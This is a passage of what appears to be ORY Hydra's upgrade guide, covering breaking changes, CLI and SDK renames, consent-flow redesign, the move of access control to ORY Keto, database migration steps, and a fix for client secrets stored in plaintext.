`hydra token flush`, `hydra token introspect` no longer use environment variable `HYDRA_URL` as default for `--endpoint` but instead `HYDRA_ADMIN_URL`. ### OAuth 2.0 Token Introspection Previously, OAuth 2.0 Token Introspection was protected with HTTP Basic Authorization (a valid OAuth 2.0 Client with Client ID and Client Secret was needed) or HTTP Bearer Authorization (a valid OAuth 2.0 Access Token was needed). As OAuth 2.0 Token Introspection is generally an internal-facing endpoint used by resource servers to validate OAuth 2.0 Access Tokens, this endpoint has moved to the privileged port. The specification does not implore which authorization scheme must be used - it only shows that HTTP Basic/Bearer Authorization may be used. By exposing this endpoint to the privileged port a strong authorization scheme is implemented and no further authorization is needed. Thus, access control was stripped from this endpoint, making integration with other API gateways easier. You may still choose to export this endpoint to the public internet and implement any access control mechanism you find appropriate. ### OAuth 2.0 Client flag `public` has been removed Previously, OAuth 2.0 Clients had a flag called `public`. If set to true, the OAuth 2.0 Client was able to exchange authorize codes for access tokens without a password. This is useful in scenarios where the device can not keep a secret (browser app, mobile app). Since OpenID Connect Dynamic Discovery was added, this flag collided with the `token_endpoint_auth_method`. If `token_endpoint_auth_method` is set to `none`, then that is equal to setting `public` to `true`. To remove this ambiguity the `public` flag was removed. If you wish to create a client that runs on an untrusted device (browser app, mobile app), simply set `"token_endpoint_auth_method": "none"` in the JSON request. If you are using the ORY Hydra CLI, you can use `--token-endpoint-auth-method none` to achieve what `--is-public` did previously. The SQL migrations will automatically migrate clients that have `public` set to `true` by setting `token_endpoint_auth_method` to `none`. ## 1.0.0-beta.7 ### Regenerated OpenID Connect ID Token cryptographic keys This patch resolves an issue which caused the migration to fail from beta.4 to beta.5 / beta.6. The reason being that the keys stored in the data store had mismatching `kid` values if generated by <= beta.5. This patch runs a SQL migration script which removes the old key and then, after booting up ORY Hydra, regenerates it. To apply this change, please run you must run `hydra migrate sql` against your database. ## 1.0.0-beta.5 This patch implements the OpenID Connect Dynamic Client registration specification and thus now supports client authentication via JSON Web Tokens signed with RSA public/private keypairs, alongside HTTP Basic Authorization and sending the client's ID and secret in the POST body. For more information on this, please refer to the [specification](http://openid.net/specs/openid-connect-core-1_0.html#ClientAuthentication). ### OAuth 2.0 Client Response Type changes Previously, when response types such as `code token id_token` were requested (OpenID Connect Hybrid Flow) it was enough for the client to have `response_types=["code", "token", "id_token"]`. This is however incompatible with the OpenID Connect Dynamic Client Registration 1.0 spec which dictates that the `response_types` have to match exactly. Assuming you are requesting `&response_types=code+token+id_token`, your client should have `response_types=["code token id_token"]`, if other response types are required (e.g. `&response_types=code`, `&response_types=token`) they too must be included: `response_types=["code", "token", "code token id_token"]`. This will only affect you if you have clients requesting OpenID Connect Hybrid flows where more than one response_type is requested. ### Schema Changes This patch introduces some minor database schema changes. Before you apply it, you must run `hydra migrate sql` against your database. ### HTTP Error Payload Previously, errors have been returned as nested objects: ```json { "error": { "error": "invalid_request" // ... } } ``` while other endpoints, specifically those under OAuth 2.0 / OpenID Connect returned them without nesting: ```json { "error": "invalid_request" // ... } ``` This patch updates all error responses and formats them coherently as across all APIs: ```json { "error": "invalid_request" // ... } ``` ### OAuth 2.0 Clients must specify correct `token_endpoint_auth_method` With support for the OpenID Connect Dynamic Discovery specification, a new field has been added to the OAuth 2.0 Client's metadata which is `token_endpoint_auth_method`. The `token_endpoint_auth_method` specifies which authentication methods the client can use at the token, introspection, and revocation endpoint. The default value for this method is `client_secret_basic` which uses the Basic HTTP Authorization scheme. If your client uses the POST body to perform authentication, this value must be changed to `client_secret_post` ### OAuth 2.0 Client field `id` is now `client_id` The [OpenID Connect Dynamic Client Registration 1.0](https://openid.net/specs/openid-connect-registration-1_0.html) spec formulates that the client's ID should be sent as field `client_id`. Until now, the id was sent as field `id`. This release changes that. For example, what was previously ``` $ curl http://hydra/clients/my-client { "id": "my-client", // ... } ``` is now ``` $ curl http://hydra/clients/my-client { "client_id": "my-client", // ... } ``` For now, the `id` field will still be returned, but is marked deprecated and will be removed in future releases. ## 1.0.0-beta.1 This section summarizes important changes introduced in 1.0.0. **Follow it chronologically to ensure a proper migration.** We are very well aware that the changelist is huge and we try to prepare you as good as we can to migrate to this version. We also understand that breaking changes are frustrating and it takes time to adopt to them. We sincerely hope that the benefits from this version (improved consent flow, easier set up, clear boundaries & responsibilities) outweigh the hassle of upgrading to the new version. If you have difficulties upgrading and would like a helping hand, reach out to us at [mailto:[email protected]]([email protected]) and we will help you with the upgrade process. Our services are billed by the hour and are priced fairly. ### Upgrading from versions v0.9.x This is a (potentially incomplete) summary of what needs to be done to upgrade from versions of the 0.9.x branch, which are still common. As always, try this with a staging environment first and create back ups. Never run this directly in production unless you are 100% sure everything works: 1. Get the latest ORY Hydra binary or docker image from the 1.0.0 branch. 2. Run `$ export DATABASE_URL=<your-database-url>`. 3. If you want to keep using Access Control Policies and the Warden API, you must install ORY Keto using the binaries or the docker image: 1. `$ keto migrate hydra $DATABASE_URL`. 2. `$ keto migrate sql $DATABASE_URL`. 3. Read how to update the JWK storage: [AES-GCM nonce storage](#aes-gcm-nonce-storage). If you only use auto-generated keys and have never used POST or PUT on the `/keys` API, you can probably just execute a `DELETE FROM hydra_jwk` to just remove all the auto-generated keys. When starting the ORY Hydra 1.0.0 CLI the required keys will be re-generated automatically. 4. `$ hydra migrate sql $DATABASE_URL`. 4. If you don't use Access Control Policies nor the Warden API, you can skip ORY Keto: 1. Read how to update the JWK storage: [AES-GCM nonce storage](#aes-gcm-nonce-storage) and **read point 3.3 of this list**. 2. `$ hydra migrate sql $DATABASE_URL`. 5. `$ export SCOPE_STRATEGY=DEPRECATED_HIERARCHICAL_SCOPE_STRATEGY` - this will set the [scope strategy](#replacing-hierarchical-scope-strategy-with-wildcard-scope-strategy) to the old scope strategy used in version 0.9.x. If you set this, you don't need to update the scopes your OAuth 2.0 Clients are allowed to request. 6. `$ hydra help serve`. 7. `$ hydra serve --your-flags`. It's still a good idea to read through the changes in 0.10.0, for example: [Response payload changes to `/warden/token/allowed`](#response-payload-changes-to-wardentokenallowed). You can, however, skip the [New consent flow](#new-consent-flow) subsection in the 0.10.0 section. All required changes are explained in detail in this release's consent flow description. ### OpenID Connect Certified ORY Hydra is now OpenID Connect Certified! Certification spans the OAuth 2.0 Authorize Code Flow, Implicit Flow, and Hybrid Flow as well as dynamic discovery. The certification is one reason for the breaking changes in the consent app. ### Breaking Changes #### Introspection API One change has been made to the introspection API which is that key `aud` is no longer a string, but an array of strings. As this claim has not been supported actively up until now, this will most likely not affect you at all. ##### Introspection is now capable of introspecting refresh tokens Previously, we disabled the introspection of refresh tokens. This has now changed to comply with the OAuth 2.0 specification. To distinguish tokens, use the `token_type` in the introspection response. It can either be `access_token` or `refresh_token`. #### Access Control & Warden API Internal access control, access control policies, and the Warden API have moved to a separate project called [ORY Keto](https://github.com/ory/keto). You will be able to run a combination of ORY Hydra, [ORY Oathkeeper](https://github.com/ory/oathkeeper), and [ORY Keto](https://github.com/ory/keto) which will be backwards compatible with ORY Hydra before the 1.0.0 release. This section explains how to upgrade and links to an example explaining the set up of the three services. **This means that ORY Hydra has no longer any type of internal access control. Endpoints such as `POST /clients` no longer require access tokens to be accessed. You must secure these endpoints yourself. For more information, [click here](https://www.ory.sh/docs/hydra/production).** [ORY Keto](https://github.com/ory/keto) handles access control using access control policies. The project currently supports the Warden API, Access Control Policy management, and Roles (previously known as [Warden Groups](#warden-groups)). ORY Keto is independent from ORY Hydra as it does not rely on any proprietary APIs but instead uses open standards such as OAuth 2.0 Token Introspection and the OAuth 2.0 Client Credentials Grant to authenticate credentials. ORY Keto can be used as a standalone project, and might even be used with other OAuth 2.0 providers, opening up tons of possible use cases and scenarios. To learn more about the project, head over to [github.com/ory/keto](https://github.com/ory/keto). Assuming that you have the 1.0.0 release binary of ORY Hydra and ORY Keto locally installed, you can migrate the existing policies and Warden Groups using the migrate commands. Please back up your database before doing this: ``` $ export DATABASE_URL=<your-database-url> # Migrate the policies and warden groups to keto $ keto migrate hydra $DATABASE_URL # Create other Keto database schemas $ keto migrate sql $DATABASE_URL # Run Hydra migrations $ hydra migrate sql $DATABASE_URL ``` Now you can run `keto serve` and endpoints `/policies` as well as `/warden` will be available at ORY Keto's URL. ##### Running the backwards compatible set up We have set up a docker-compose example of a set up that resembles ORY Hydra prior to this release. You can find the source and documentation at [github.com/ory/examples](https://github.com/ory/examples). If you find it difficult to run this set up but would like to use the old access control mechanisms, feel free to reach out to us at [mailto:[email protected]]([email protected]). ###### Warden API The Warden endpoints have moved to a new project. Thus, obviously, the URL changes too. The Warden API paths have changed as well: - `/warden/allowed` is now `/warden/subjects/authorize` - `/warden/token/allowed` is now `/warden/oauth2/access-tokens/authorize` - `/warden/oauth2/clients/authorize` is a new endpoint that lets you authorize OAuth 2.0 Clients using their ID and secret. The backwards compatible set up properly forwards the old paths. If you use that image and you have been using `http://my-hydra/warden/token/allowed` previously, you can still use that URL to access that functionality if the backwards-compatible image is hosted at that location. This image does, however, currently not rewrite the request and response payloads. If you think that's a good idea, [let us know](https://github.com/ory/examples/issues/new). The request payload of these endpoints has changed: - `/warden/token/allowed` - only key `scopes` was renamed to `scope` in order to have a coherent API with any OAuth 2.0 endpoints which use the `scope` for singular and plural: - Key `scopes` is now `scope` - a response body is `{ "token": "...", "action": "...", "resource": "...", "scope": ["scope-a", "scope-b"] }` instead of (previously) `{ "token": "...", "action": "...", "resource": "...", "scopes": ["scope-a", "scope-b"] }`. All other endpoints have not experienced any request payload changes. The response payload of these endpoints has changed: - `/warden/token/allowed` - keys have been changed to conform to the OAuth 2.0 Introspection response payload and offer a coherent API. - Key `grantedScopes` is now `scope` and is no longer an array string but rather a space-delimited string ("scope-a scope-b"). - Key `clientId` is now `client_id`. - Key `issuedAt` is now `iat`. - Key `expires_at` is now `exp`. - Key `subject` is now `sub`. - Key `accessTokenExtra` is now `session` and might be omitted if the OAuth 2.0 Introspection Endpoint does not provide session data. - Key `aud` ("audience") has been added as a string array. - Key `iss` ("issuer") has been added. - Key `nbf` ("not before") has been added. We are aware that these changes are rather serious, especially if you rely on the Warden API in each of your endpoints. If you have ideas on how to improve upgrading or offer a backwards compatible API, please [open an issue](https://github.com/ory/keto/issues/new) and let us know. All other endpoints have not experienced any response payload changes. ###### Warden Groups Warden Groups have been an experiment determined to simplify managing multiple subjects with the same access rights. In ORY Keto, Warden Groups have been renamed to **Roles** and the endpoint has moved from `/warden/groups` to `/roles`. No request or response payloads have changed, only the URL is a different one. If you use the backwards-compatible image, you can access roles using the `/warden/groups` path as you did before. #### jwk: Forces JWK to have a unique ID Previously, JSON Web Keys did not have to specify a unique id. JWKs generated by ORY Hydra typically only used `public` or `private` as KeyID. This patch changes that and appends a unique id if no KeyID was given. To be able to separate between public and private key pairs in resource name, the public/private convention was kept. This change targets specifically the OpenID Connect ID Token and HTTP TLS keys. The ID Token key was previously "hydra.openid.id-token:public" and "hydra.openid.id-token:private" which now changed to something like "hydra.openid.id-token:public:9a458aa3-65a0-4982-835f-343eec45183c" and "hydra.openid.id-token:private:fa353995-d77d-420a-b967-63bf0721271b" with the UUID part being random for every installation. This change will help greatly with key rotation in the future. If you rely on these keys in your applications and if they are hardcoded in some way, you may want to use the `/.well-known/openid-configuration` or `/.well-known/jwks.json` endpoints instead. Libraries, which handle these standards appropriately, exist for almost any programming language. These keys will be generated automatically if they do not exist yet in the database. No further steps for upgrading are required. #### Consent Flow The consent flow has been refactored in order to implement session (login & consent) management in ORY Hydra and in order to properly support OpenID Connect parameters such as `prompt`, `max_age`, and others. First, the consent flow has been renamed to "User Login and Consent Flow". The consent app has been renamed to `User Login Provider` and `User Consent Provider`. If you implement both features (explained in the next sections) in one program, you can call it the `User Login and Consent Provider`. A reference implementation of the new User Login and Consent Provider is available at [github.com/ory/hydra-login-consent-node](https://github.com/ory/hydra-login-consent-node). The major difference between the old and new flow is, that authentication (user login) and scope authorization (user consent) are now two separate endpoints. The new User Login and Consent Flow is documented in the [developer guide](https://www.ory.sh/docs/hydra/). #### Changes to the CLI The CLI has changed in order to improve developer experience and adopt to the changes made with this release. ##### `hydra host` The command `hydra host` has been renamed to `hydra serve` as projects ORY Oathkeeper and ORY Keto use the `serve` terminology as well. Because this patch removes the internal access control, no root client and root policy will be created upon start up. Thus, environment variable `FORCE_ROOT_CLIENT_CREDENTIALS` has been removed without replacement. To better reflect what environment variables touch which system, ISSUER has been renamed to `OAUTH2_ISSUER_URL` and `CONSENT_URL` has been renamed to `OAUTH2_CONSENT_URL`. Additionally, flag `--dangerous-force-auto-logon` has been removed it has no effect any more. ##### `hydra connect` The command `hydra connect` has been removed as it no longer serves a purpose now that the internal access control has been removed. Every command you call now needs the environment variable `HYDRA_URL` (previously named `CLUSTER_URL`) which should point to ORY Hydra's URL. Removing this command has an additional benefit - privileged client IDs and secrets will no longer be stored in a plaintext file on your system if you use this command. As access control has been removed, most commands (except `token user`, `token client`, `token revoke`, `token introspect`) work without supplying any credentials at all. The listed exceptions support setting an OAuth 2.0 Client ID and Client Secret using flags `--client-id` and `--client-secret` or environment variables `OAUTH2_CLIENT_ID` and `OAUTH2_CLIENT_SECRET`. All other commands, such as `hydra clients create`, still support scenarios where you would need an OAuth2 Access Token. In those cases, you can supply the access token using flag `--access-token` or environment variable `OAUTH2_ACCESS_TOKEN`. Assuming that you would like to automate management in a protected scenario, you could do something like this: ``` $ token=$(hydra token client --client-id foo --client-secret bar --endpoint http://foobar) $ hydra clients create --access-token $token ... ``` All commands now support the `--endpoint` flag which sets the `HYDRA_URL` in case you don't want to use environment variables. ##### `hydra token user` Flags `--id` and `--secret` are now called `--client-id` and `--client-secret`. ##### `hydra token client` Flags `--client-id` and `--client-secret` have been added. Flag `--scopes` has been renamed to `--scope`. ##### `hydra token validate` This command has been renamed to `hydra token introspect` to properly reflect that you are performing OAuth 2.0 Token Introspection. Flags `--client-id` and `--client-secret` have been added. Flag `--scopes` has been renamed to `--scope`. ##### `hydra clients create` As OAuth 2.0 specifies that terminology `scope` does not have a plural `scopes`, we updated the places where the incorrect `scopes` was used in order to provide a more consistent developer experience. This command renamed flag `--allowed-scopes` to `--scope`. ##### `hydra migrate ladon` This command is a relict of an old version of ORY Hydra which is, according to our metrics, not being used any more. ##### `hydra policies` This command has moved to Keto. All commands work the same way, but you have to have Keto installed and replace `hydra` with `keto`. For example `hydra policies create ...` is now `keto policies create ...` ##### `hydra groups` This command has moved to Keto. All commands work the same way, but you have to have Keto installed and replace `hydra groups` with `keto roles`. For example `hydra groups create ...` is now `keto roles create ...` #### SDK As the SDK is code-generated, and we are not specialists in every language, we have only documented changes to the Go API. Please help improving this section by adding upgrade guides for the SDK you upgraded. The following methods have been moved. - The Access Control Policy SDK has moved to ORY Keto: - `CreatePolicy(body swagger.Policy) (*swagger.Policy, *swagger.APIResponse, error)` is now available via `github.com/ory/keto/sdk/go/keto`. The method signature has not changed, apart from types `github.com/ory/hydra/sdk/go/hydra/swagger` now being included from `github.com/ory/keto/sdk/go/keto/swagger`. - `DeletePolicy(id string) (*swagger.APIResponse, error)` is now available via `github.com/ory/keto/sdk/go/keto`. The method signature has not changed, apart from types `github.com/ory/hydra/sdk/go/hydra/swagger` now being included from `github.com/ory/keto/sdk/go/keto/swagger`. - `GetPolicy(id string) (*swagger.Policy, *swagger.APIResponse, error)` is now available via `github.com/ory/keto/sdk/go/keto`. The method signature has not changed, apart from types `github.com/ory/hydra/sdk/go/hydra/swagger` now being included from `github.com/ory/keto/sdk/go/keto/swagger`. - `ListPolicies(offset int64, limit int64) ([]swagger.Policy, *swagger.APIResponse, error)` is now available via `github.com/ory/keto/sdk/go/keto`. The method signature has not changed, apart from types `github.com/ory/hydra/sdk/go/hydra/swagger` now being included from `github.com/ory/keto/sdk/go/keto/swagger`. - `UpdatePolicy(id string, body swagger.Policy) (*swagger.Policy, *swagger.APIResponse, error)` is now available via `github.com/ory/keto/sdk/go/keto`. The method signature has not changed, apart from types `github.com/ory/hydra/sdk/go/hydra/swagger` now being included from `github.com/ory/keto/sdk/go/keto/swagger`. - The Warden Group SDK has moved to Keto: - `AddMembersToGroup(id string, body swagger.GroupMembers) (*swagger.APIResponse, error)` is now `AddMembersToRole(id string, body swagger.RoleMembers) (*swagger.APIResponse, error)` and is now available via `github.com/ory/keto/sdk/go/keto`. - `CreateGroup(body swagger.Group) (*swagger.Group, *swagger.APIResponse, error)` is now `CreateRole(body swagger.Role) (*swagger.Role, *swagger.APIResponse, error` and is now available via `github.com/ory/keto/sdk/go/keto`. - `DeleteGroup(id string) (*swagger.APIResponse, error)` is now `DeleteRole(id string) (*swagger.APIResponse, error)` and is now available via `github.com/ory/keto/sdk/go/keto`. - `ListGroups(member string, limit, offset int64) ([]swagger.Group, *swagger.APIResponse, error)` is now `ListRoles(member string, limit int64, offset int64) ([]swagger.Role, *swagger.APIResponse, error)` and is now available via `github.com/ory/keto/sdk/go/keto`. - `GetGroup(id string) (*swagger.Group, *swagger.APIResponse, error)` is now `GetRole(id string) (*swagger.Role, *swagger.APIResponse, error)` and is now available via `github.com/ory/keto/sdk/go/keto`. - `RemoveMembersFromGroup(id string, body swagger.GroupMembers) (*swagger.APIResponse, error)` is now `RemoveMembersFromRole(id string, body swagger.RoleMembers) (*swagger.APIResponse, error)` and is now available via `github.com/ory/keto/sdk/go/keto`. - The Warden API SDK has moved to Keto: - `DoesWardenAllowAccessRequest(body swagger.WardenAccessRequest) (*swagger.WardenAccessRequestResponse, *swagger.APIResponse, error)` is now `IsSubjectAuthorized(body swagger.WardenSubjectAuthorizationRequest) (*swagger.WardenSubjectAuthorizationResponse, *swagger.APIResponse, error)`. Please check out the changes to the request/response body as well. - `DoesWardenAllowTokenAccessRequest(body swagger.WardenTokenAccessRequest) (*swagger.WardenTokenAccessRequestResponse, *swagger.APIResponse, error)` is now `IsOAuth2AccessTokenAuthorized(body swagger.WardenOAuth2AccessTokenAuthorizationRequest) (*swagger.WardenOAuth2AccessTokenAuthorizationResponse, *swagger.APIResponse, error)`. Please check out the changes to the request/response body as well. - The Consent API SDK has been deprecated: - `AcceptOAuth2ConsentRequest(id string, body swagger.ConsentRequestAcceptance) (*swagger.APIResponse, error)` has been removed without replacement. - `GetOAuth2ConsentRequest(id string) (*swagger.OAuth2ConsentRequest, *swagger.APIResponse, error)` has been removed without replacement. - `RejectOAuth2ConsentRequest(id string, body swagger.ConsentRequestRejection) (*swagger.APIResponse, error)` has been removed without replacement. - The Login & Consent API SDK has been added: - `AcceptConsentRequest(challenge string, body swagger.AcceptConsentRequest) (*swagger.CompletedRequest, *swagger.APIResponse, error)` - `AcceptLoginRequest(challenge string, body swagger.AcceptLoginRequest) (*swagger.CompletedRequest, *swagger.APIResponse, error)` - `RejectConsentRequest(challenge string, body swagger.RejectRequest) (*swagger.CompletedRequest, *swagger.APIResponse, error)` - `RejectLoginRequest(challenge string, body swagger.RejectRequest) (*swagger.CompletedRequest, *swagger.APIResponse, error)` - `GetLoginRequest(challenge string) (*swagger.LoginRequest, *swagger.APIResponse, error)` - `GetConsentRequest(challenge string) (*swagger.ConsentRequest, *swagger.APIResponse, error)` Additionally, the following methods have been removed as they were of very little use and also mixed the Client Credentials flow with the Authorize Code Flow which lead to weird usage. It's much easier to configure `clientcredentials.Config` or `oauth2.Config` yourself. - `GetOAuth2ClientConfig() (*clientcredentials.Config)` - `GetOAuth2Config() (*oauth2.Config)` ### Improvements #### Health Check endpoint has moved The health check endpoint has moved from `/health/status` to `/health/alive`. We set up a 308 redirect from `/health/status` to `/health/alive` so this should not cause any issues. The `/health/alive` endpoint returns `200 OK` as soon as the HTTP server is responsive. Another endpoint `/health/ready` was added which returns `200 OK` only if the database connection is working as well. As part of this change, function `getInstanceStatus` of the SDK is now `isInstanceAlive` and `isInstanceReady`. #### Unknown request body payloads result in error Previously, if you had a typo in the JSON (e.g. `client_nme` instead of `client_name`), ORY Hydra simply ignored that key. Now, an error is thrown if unknown JSON keys are included. #### UTC everywhere ORY Hydra now uses UTC everywhere, reducing the possibility of errors stemming from different timezones. #### Pagination everywhere Each endpoint that returns a list of items now supports pagination using `limit` and `offset` query parameters. #### Flushing old access tokens An endpoint (`/oauth2/flush`) has been added that allows you to flush old access tokens. #### Prometheus endpoint An endpoint `/health/prometheus` for providing data to Prometheus has been added. ## 0.11.12 This release resolves a security issue (reported by [platform.sh](https://www.platform.sh)) related to the fosite storage implementation in this project. Fosite used to pass all of the request body from both authorize and token endpoints to the storage adapters. As some of these values are needed in consecutive requests, the storage adapter of this project chose to drop all of the key/value pairs to the database in plaintext. This implied that confidential parameters, such as the `client_secret` which can be passed in the request body since fosite version 0.15.0, were stored as key/value pairs in plaintext in the database. While most client secrets are generated programmatically (as opposed to set by the user) and most popular OAuth2 providers choose to store the secret in plaintext for later retrieval, we see it as a considerable security issue nonetheless. The issue has been resolved by sanitizing the request body and only including those values truly required by their respective handlers. This also implies that typos (eg `client_secet`) won't "leak" to the database. There are no special upgrade paths required for this version. This issue does not apply to you if you do not use an SQL backend. If you do upgrade to this version, you need to run `hydra migrate sql path://to.your/database`. If your users use POST body client authentication, it might be a good move to remove old data. There are multiple ways of doing that. **Back up your data before you do this**: 1. **Radical solution:** Drop all rows from tables `hydra_oauth2_refresh`, `hydra_oauth2_access`, `hydra_oauth2_oidc`, `hydra_oauth2_code`. This implies that all your users have to re-authorize. 2. **Sensitive solution:** Replace all values in column `form_data` in tables `hydra_oauth2_refresh`, `hydra_oauth2_access` with an empty string. This will keep all authorization sessions alive. Tables `hydra_oauth2_oidc` and `hydra_oauth2_code` do not contain sensitive information, unless your users accidentally sent the client_secret to the `/oauth2/auth` endpoint. We would like to thank [platform.sh](https://www.platform.sh) for sponsoring the development of a patch that resolves this issue. ## 0.11.3 The experimental endpoint `/health/metrics` has been removed as it caused various issues such as increased memory usage, and it was apparently not used at all. ## 0.11.0 This release has a minor breaking change in the experimental Warden Group SDK: `FindGroupsByMember(member string) ([]swagger.Group, *swagger.APIResponse, error)` is now `ListGroups(member string, limit, offset int64) ([]swagger.Group, *swagger.APIResponse, error)`. The change has to be applied in a similar fashion to other SDKs generated using swagger. Leave the `member` parameter empty to list all groups, and add it to filter groups by member id. ## 0.10.0 This release has several major improvements, and some breaking changes. It focuses on cryptographic security by leveraging best practices that emerged within the last one and a half years. Before upgrading to this version, make a back up of the JWK table in your SQL database. This release requires running `hydra migrate sql` before `hydra host`. The most important breaking changes are the SDK libraries, the new consent flow, the AES-GCM improvement, and the response payload changes to the warden. We know that these are a lot of changes, but we highly recommend upgrading to this version. It will be the last before releasing 1.0.0. ### Breaking Changes #### Introspection now requires authorization The introspection endpoint was previously accessible to anyone with valid client credentials or a valid access token. According to spec, the introspection endpoint should be protected by additional access control mechanisms. This version introduces new access control requirements for this endpoint. The client id of the basic authorization / subject of the bearer token must be allowed action `introspect` on resource `rn:hydra:oauth2:tokens`. If an access token is used for authorization, it needs to be granted the `hydra.introspect` scope. #### New consent flow Previously, the consent flow looked roughly like this: 1. App asks user for Authorization by generating the authorization URL (http://hydra.mydomain.com/oauth2/auth?client_id=...). 1. Hydra asks browser of user for authentication by redirecting to the Consent App with a _consent challenge_ (http://login.mydomain.com/login?challenge=xYt...). 1. Retrieves a RSA 256 public key from Hydra. 1. Uses said public key to verify the consent challenge. 1. User logs in and authorizes the requested scopes 1. Consent app generates the consent response 1. Retrieves a private key from Hydra which is used to sign the consent response. 1. Creates a response message and sign with said private key. 1. Redirects the browser back to Hydra, appending the consent response (http://hydra.mydomain.com/oauth2/auth?client_id=...&consent=zxI...). 1. Hydra validates consent response and generates access tokens, authorize codes, refresh tokens, and id tokens. This approach had several disadvantages: 1. Validating and generating the JSON Web Tokens (JWTs) requires libraries for each language 1. Because libraries are required, auto generating SDKs from the swagger spec is impossible. Thus, every language requires a maintained SDK which significantly increases our workload. 1. There have been at least two major bugs affecting almost all JWT libraries for any language. The spec has been criticised for it's mushy language. 1. The private key used by the consent app for signing consent responses was originally thought to be stored at the consent app, not in Hydra. However, since Hydra offers JWK storage, it was decided to use the Hydra JWK store per default for retrieval of the private key to improve developer experience. However, to make really sense, the private key should have been stored at the consent app, not in Hydra. 1. Private/Public keypairs need to be fetched on every request or cached in a way that allows for key rotation, complicating the consent app. 1. There is currently no good mechanism for rotating JWKs in Hydra's storage. 1. The consent challenge / response has a limited length as it's transmitted via the URL query. The length of a URL is limited. Due to these reasons we decided to refactor the consent flow. Instead of relying on JWTs using RSA256, a simple HTTP call is now enough to confirm a consent request: 1. App asks user for Authorization by generating the authorization URL (http://hydra.mydomain.com/oauth2/auth?client_id=...). 1. Hydra asks browser of user for authentication by redirecting to the Consent App with a unique _consent request id_ (http://login.mydomain.com/login?consent=fjad2312). 1. Consent app makes a HTTP REST request to `http://hydra.mydomain.com/oauth2/consent/requests/fjad2312` and retrieves information on the authorization request. 1. User logs in and authorizes the requested scopes 1. Consent app accepts or denies the consent request by making a HTTP REST request to `http://hydra.mydomain.com/oauth2/consent/requests/fjad2312/accept` or `http://hydra.mydomain.com/oauth2/consent/requests/fjad2312/reject`. 1. Redirects the browser back to Hydra. 1. Hydra validates consent request by checking if it was accepted and generates access tokens, authorize codes, refresh tokens, and id tokens. Learn more on how the new consent flow works in the guide: https://ory.gitbooks.io/hydra/content/oauth2.html#consent-flow #### Audience Previously, the audience terminology was used as a synonym for OAuth2 client IDs. This is no longer the case. The audience is typically a URL identifying the endpoint(s) the token is intended for. For example, if a client requires access to endpoint `http://mydomain.com/users`, then the audience would be `http://mydomain.com/users`. This changes the payload of `/warden/token/allowed` and is incorporated in the new consent flow as well. Please note that it is currently not possible to set the audience of a token. This feature is tracked with [here](https://github.com/ory/hydra/issues/687). **IMPORTANT NOTE:** In OpenID Connect ID Tokens, the token is issued for that client. Thus, the `aud` claim must equal to the `client_id` that initiated the request. #### Response payload changes to `/warden/token/allowed` Previously, the response of the warden endpoint contained shorthands like `aud`, `iss`, and so on. Those have now been changed to their full names: - `sub` is now named `subject`. - `scopes` is now named `grantedScopes`. - `iss` is now named `issuer`. - `aud` is now named `clientId`. - `iat` is now named `issuedAt`. - `exp` is now named `expiresAt`. - `ext` is now named `accessTokenExtra`. #### Go SDK The Go SDK was completely replaced in favor of a SDK based on `swagger-codegen`. Unfortunately this means that any code relying on the old SDK has to be replaced. On the bright side the dependency tree is much smaller as no direct dependencies to ORY Hydra's code base exist any more. Read more on it here: https://ory.gitbooks.io/hydra/content/sdk/go.html #### Health endpoints - `GET /health` is now `GET /health/status` - `GET /health/stats` is now `GET /health/metrics` #### Group endpoints `GET /warden/groups` now returns a list of groups, not just a list of strings (group ids). #### Replacing hierarchical scope strategy with wildcard scope strategy The previous scope matching strategy has been replaced in favor of a wildcard-based matching strategy. Previously, `foo` matched `foo` and `foo.bar` and `foo.baz`. This is no longer the case. So `foo` matches only `foo`. Matching subsets is possible using wildcards. `foo.*` matches `foo.bar` and `foo.baz`. This change makes setting scopes more explicit and is more secure, as it is less likely to make mistakes. Read more on this strategy [here](https://www.ory.sh/docs/hydra/oauth2#oauth-20-scope). To fall back to hierarchical scope matching, set the environment variable `SCOPE_STRATEGY=DEPRECATED_HIERARCHICAL_SCOPE_STRATEGY`. This feature _might_ be fully removed in a later version. #### AES-GCM nonce storage Our use of `crypto/aes`'s AES-GCM was replaced in favor of [`cryptopasta/encrypt`](https://github.com/gtank/cryptopasta/blob/master/encrypt.go). As this includes a change of how nonces are appended to the ciphertext, ORY Hydra will be unable to decipher existing databases. There are two paths to migrate this change: 1. If you have not added any keys to the JWK store: 1. Stop all Hydra instances. 2. Drop all rows from the `hydra_jwk` table. 3. Start **one** Hydra instance and wait for it to boot. 4. Restart all remaining Hydra instances. 2. If you added keys to the JWK store: 1. If you can afford to re-generate those keys: 1. Write down all key ids you generated. 2. Stop all Hydra instances. 3. Drop all rows from the `hydra_jwk` table. 4. Start **one** Hydra instance and wait for it to boot. 5. Restart all remaining Hydra instances. 6. Regenerate the keys and use the key ids you wrote down. 2. If you can not afford to re-generate the keys: 1. Export said keys using the REST API. 2. Stop all Hydra instances. 3. Drop all rows from the `hydra_jwk` table. 4. Start **one** Hydra instance and wait for it to boot. 5. Restart all remaining Hydra instances. 6. Import said keys using the REST API. #### Minor Breaking Changes ##### Token signature algorithm changed from HMAC-SHA256 to HMAC-SHA512 The signature algorithm used to generate authorize codes, access tokens, and refresh tokens has been upgraded from HMAC-SHA256 to HMAC-SHA512. With upgrading to alpha.9, all previously issued authorize codes, access tokens, and refresh will thus be rendered invalid. Apart from some re-authorization procedures, which are usually automated, this should not have any significant impact on your installation. ##### HS256 JWK Generator now uses all 256 bit The HS256 (symmetric/shared keys) JWK Generator now uses the full 256 bit range to generate secrets instead of a predefined rune sequence. This change only affects keys generated in the future. ##### ES512 Key generator The JWK algorithm `ES521` was renamed to `ES512`. If you want to generate a key using this algorithm, you have to use the update name in the future. ##### Build tags deprecated This release removes build tags `-http`, `-automigrate`, `-without-telemetry` from the docker hub repository and replaces it with a new and tiny (~6MB) docker image containing the binary only. Please note that this docker image does not have a shell, which makes it harder to penetrate. Instead of relying on tags to pass arguments, it is now possible to pass command arguments such as `docker run oryd/hydra:v0.10.0 host --dangerous-force-http` directly. **Version 0.10.8 reintroduces an image with a shell, appended with tag `-alpine`.** ### Important Additions #### Prefixing Resources Names It is now possible to alter resource name prefixes (`rn:hydra`) using the `RESOURCE_NAME_PREFIX` environment variable. #### Refreshing OpenID Connect ID Token using `refresh_token` grant type 1. It is now possible to refresh openid connect tokens using the refresh_token grant. An ID Token is issued if the scope `openid` was requested, and the client is allowed to receive an ID Token. ### Important Changes #### Telemetry To improve ORY Hydra and understand how the software is used, optional, anonymized telemetry data is shared with ORY. A change was made to help us understand which telemetry sources belong to the same installation by hashing (SHA256) two environment variables which make up a unique identifier. [Click 